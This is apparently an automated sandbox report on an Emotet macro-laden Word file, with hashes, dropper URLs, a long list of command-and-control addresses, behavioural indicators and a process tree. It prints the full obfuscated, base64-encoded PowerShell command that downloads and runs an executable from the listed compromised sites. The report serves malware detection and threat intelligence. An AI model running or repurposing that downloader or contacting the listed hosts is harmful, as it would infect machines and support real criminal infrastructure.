emotet | d0472d8b6f787f5c71ade8e5220cd127be932d3ecc923a02e3802ce2ec25c432

Analysis

max time kernel
138s
max time network
143s
platform
windows10_x64
resource
win10v200722
submitted
23/09/2020, 18:33

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General

Target
emotet_e1_d0472d8b6f787f5c71ade8e5220cd127be932d3ecc923a02e3802ce2ec25c432_2020-09-23__183147853192._doc.doc
Size 156KB
Sample200923-3shq7eqnt2
SHA256 d0472d8b6f787f5c71ade8e5220cd127be932d3ecc923a02e3802ce2ec25c432
MD5 1337f38cbd34997925b8917f6e48d306
SHA1 02a2a99ad4e362610cc4effa7d34058397c30847
SHA512 099fbe23173051cc81aa026b1405d9dbc8283624818c31beaf2aa1f83b5e851233abb29d573e6173eca83f1dfd99e38ddb22c958ef6f7318e6a46ac1b217a657
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://inflixon.com/wp-admin/472/
exe.dropper
http://bballbreak.com/wp-admin/O/
exe.dropper
http://etiangong.com/h5/Gxm/
exe.dropper
https://lbbniu.com/idealnotify/y/
exe.dropper
http://crashboxcharlotte.com/wp-includes/8/
exe.dropper
http://trendyhome.ltd/img4qrg/c/
exe.dropper
http://104.196.113.47/wp-admin/D/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3864	3736	POWeRsHeLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3268-12-0x00000000009D0000-0x00000000009E2000-memory.dmp	emotet
behavioral2/memory/3268-12-0x00000000009D0000-0x00000000009E2000-memory.dmp	emotet
behavioral2/memory/3268-13-0x00000000004B0000-0x00000000004C0000-memory.dmp	emotet
behavioral2/memory/3268-13-0x00000000004B0000-0x00000000004C0000-memory.dmp	emotet
behavioral2/memory/3228-16-0x0000000000470000-0x0000000000482000-memory.dmp	emotet
behavioral2/memory/3228-16-0x0000000000470000-0x0000000000482000-memory.dmp	emotet
behavioral2/memory/3228-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3228-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3864	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3268	Fre_i1chm.exe
3228	deviceassociation.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\zipfldr\deviceassociation.exe	Fre_i1chm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3864	POWeRsHeLL.exe
3864	POWeRsHeLL.exe
3864	POWeRsHeLL.exe
3228	deviceassociation.exe
3228	deviceassociation.exe
3228	deviceassociation.exe
3228	deviceassociation.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3864	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 3268	3864	POWeRsHeLL.exe	80
PID 3864 wrote to memory of 3268	3864	POWeRsHeLL.exe	80
PID 3864 wrote to memory of 3268	3864	POWeRsHeLL.exe	80
PID 3268 wrote to memory of 3228	3268	Fre_i1chm.exe	81
PID 3268 wrote to memory of 3228	3268	Fre_i1chm.exe	81
PID 3268 wrote to memory of 3228	3268	Fre_i1chm.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_d0472d8b6f787f5c71ade8e5220cd127be932d3ecc923a02e3802ce2ec25c432_2020-09-23__183147853192._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABTADcANgAwAG0AYQBjAD0AKAAnAFUAJwArACcAYQAnACsAKAAnAGEAcwAnACsAJwA5ADgAeAAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAcgBQAHIATwBGAGkATABFAFwAbQBNADMARQAzAG0ASgBcAEcAdgBuADMAUgA5AGwAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAHUAcgBgAEkAVABgAFkAUAByAG8AVABgAG8AYwBvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAxACcAKwAnADIAJwApACsAKAAnACwAIAB0AGwAJwArACcAcwAxACcAKQArACcAMQAnACsAJwAsACcAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAVABlAHcAcwBnAGUANgAgAD0AIAAoACcARgByACcAKwAoACcAZQBfAGkAMQAnACsAJwBjACcAKQArACcAaABtACcAKQA7ACQAWQBlAHoAaAB5ADQANQA9ACgAJwBVAGwAJwArACgAJwBrADcAeAAnACsAJwByAGsAJwApACkAOwAkAE8AdwA5AGgAegBjAF8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ATQBtADMAZQAzACcAKwAnAG0AagB7ADAAJwArACcAfQBHAHYAbgAnACsAJwAzACcAKwAnAHIAOQAnACsAJwBsAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAYQBSAF0AOQAyACkAKwAkAFQAZQB3AHMAZwBlADYAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABKADMAbQAzAHQAbgA5AD0AKAAoACcATwAnACsAJwBhADQAbABoACcAKQArACcAXwAnACsAJwA0ACcAKQA7ACQATAB1ADEAbwB2AGsAaAA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgBXAEUAYgBjAGwASQBFAE4AdAA7ACQASgAzAGYAMgB3AHQAcAA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGkAbgAnACkAKwAnAGYAJwArACgAJwBsACcAKwAnAGkAeABvAG4AJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACcALQAnACsAKAAnAGEAZAAnACsAJwBtAGkAbgAvADQAJwArACcANwAnACkAKwAoACcAMgAnACsAJwAvACoAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnAGIAYgBhAGwAJwArACcAbABiAHIAZQAnACkAKwAoACcAYQBrAC4AYwAnACsAJwBvAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AaQBuACcAKQArACgAJwAvAE8AJwArACcALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvAGUAJwApACsAKAAnAHQAaQAnACsAJwBhACcAKQArACcAbgAnACsAKAAnAGcAJwArACcAbwBuACcAKQArACcAZwAuACcAKwAoACcAYwAnACsAJwBvAG0AJwArACcALwBoADUALwAnACkAKwAoACcARwB4AG0AJwArACcALwAnACkAKwAnACoAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGIAJwArACcAYgBuACcAKQArACgAJwBpACcAKwAnAHUALgAnACkAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAaQBkAGUAYQAnACkAKwAnAGwAJwArACgAJwBuAG8AJwArACcAdAAnACkAKwAnAGkAJwArACgAJwBmAHkALwB5AC8AJwArACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwByACcAKwAnAGEAcwAnACsAKAAnAGgAYgAnACsAJwBvACcAKQArACcAeAAnACsAKAAnAGMAaABhAHIAJwArACcAbAAnACkAKwAnAG8AdAAnACsAKAAnAHQAZQAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdwAnACsAKAAnAHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAJwApACsAJwBlAHMAJwArACcALwAnACsAKAAnADgAJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACcALwB0ACcAKwAnAHIAJwArACgAJwBlACcAKwAnAG4AZAAnACkAKwAoACcAeQBoAG8AJwArACcAbQAnACkAKwAoACcAZQAuACcAKwAnAGwAJwApACsAJwB0AGQAJwArACgAJwAvAGkAbQAnACsAJwBnADQAJwArACcAcQByACcAKQArACcAZwAnACsAKAAnAC8AYwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAvAC8AMQAnACsAJwAwADQALgAnACkAKwAnADEAOQAnACsAKAAnADYAJwArACcALgAxACcAKQArACgAJwAxADMAJwArACcALgAnACkAKwAoACcANAA3AC8AJwArACcAdwAnACsAJwBwAC0AYQAnACkAKwAnAGQAJwArACgAJwBtAGkAJwArACcAbgAvAEQALwAnACkAKQAuACIAcwBQAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRADYAYwA5AHcAdgBtAD0AKAAoACcAUgAnACsAJwAzAGQAbQB4ACcAKQArACcAbQA1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAYwBxAHcAbQBhADYAIABpAG4AIAAkAEoAMwBmADIAdwB0AHAAKQB7AHQAcgB5AHsAJABMAHUAMQBvAHYAawBoAC4AIgBEAG8AVwBOAGAATABgAG8AQQBkAEYAYABpAGwAZQAiACgAJABCAGMAcQB3AG0AYQA2ACwAIAAkAE8AdwA5AGgAegBjAF8AKQA7ACQAUwA0AG4AbAA3AHYAMAA9ACgAKAAnAEUAagAnACsAJwB5ACcAKQArACgAJwB5AF8AJwArACcAcwAnACkAKwAnADAAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE8AdwA5AGgAegBjAF8AKQAuACIAbABlAGAATgBnAGAAVABIACIAIAAtAGcAZQAgADMANgA2ADEAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABPAHcAOQBoAHoAYwBfACkAOwAkAFEAagA0AG8AbQA1ADMAPQAoACcAQwAnACsAJwBjADMAJwArACgAJwBqACcAKwAnAHcANQBpACcAKQApADsAYgByAGUAYQBrADsAJABEAHcAcAB3AHMANABiAD0AKAAnAE4AJwArACgAJwAzAG4AJwArACcAOQB6AGoAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAA1AGEAYwBhAGsAbgA9ACgAKAAnAFAANwAnACsAJwAzAHMAJwApACsAKAAnAGgAJwArACcAbQB1ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Users\Admin\Mm3e3mj\Gvn3r9l\Fre_i1chm.exe
  "C:\Users\Admin\Mm3e3mj\Gvn3r9l\Fre_i1chm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\SysWOW64\zipfldr\deviceassociation.exe
    "C:\Windows\SysWOW64\zipfldr\deviceassociation.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3056-0-0x00007FFFE0C70000-0x00007FFFE1336000-memory.dmp

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memory/3228-16-0x0000000000470000-0x0000000000482000-memory.dmp

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memory/3228-17-0x00000000001F0000-0x0000000000200000-memory.dmp

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memory/3268-12-0x00000000009D0000-0x00000000009E2000-memory.dmp

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memory/3268-13-0x00000000004B0000-0x00000000004C0000-memory.dmp

Download

memory/3864-8-0x000002EA5DA10000-0x000002EA5DA11000-memory.dmp

Download

memory/3864-7-0x000002EA5D730000-0x000002EA5D731000-memory.dmp

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memory/3864-6-0x00007FFFD99B0000-0x00007FFFDA39C000-memory.dmp

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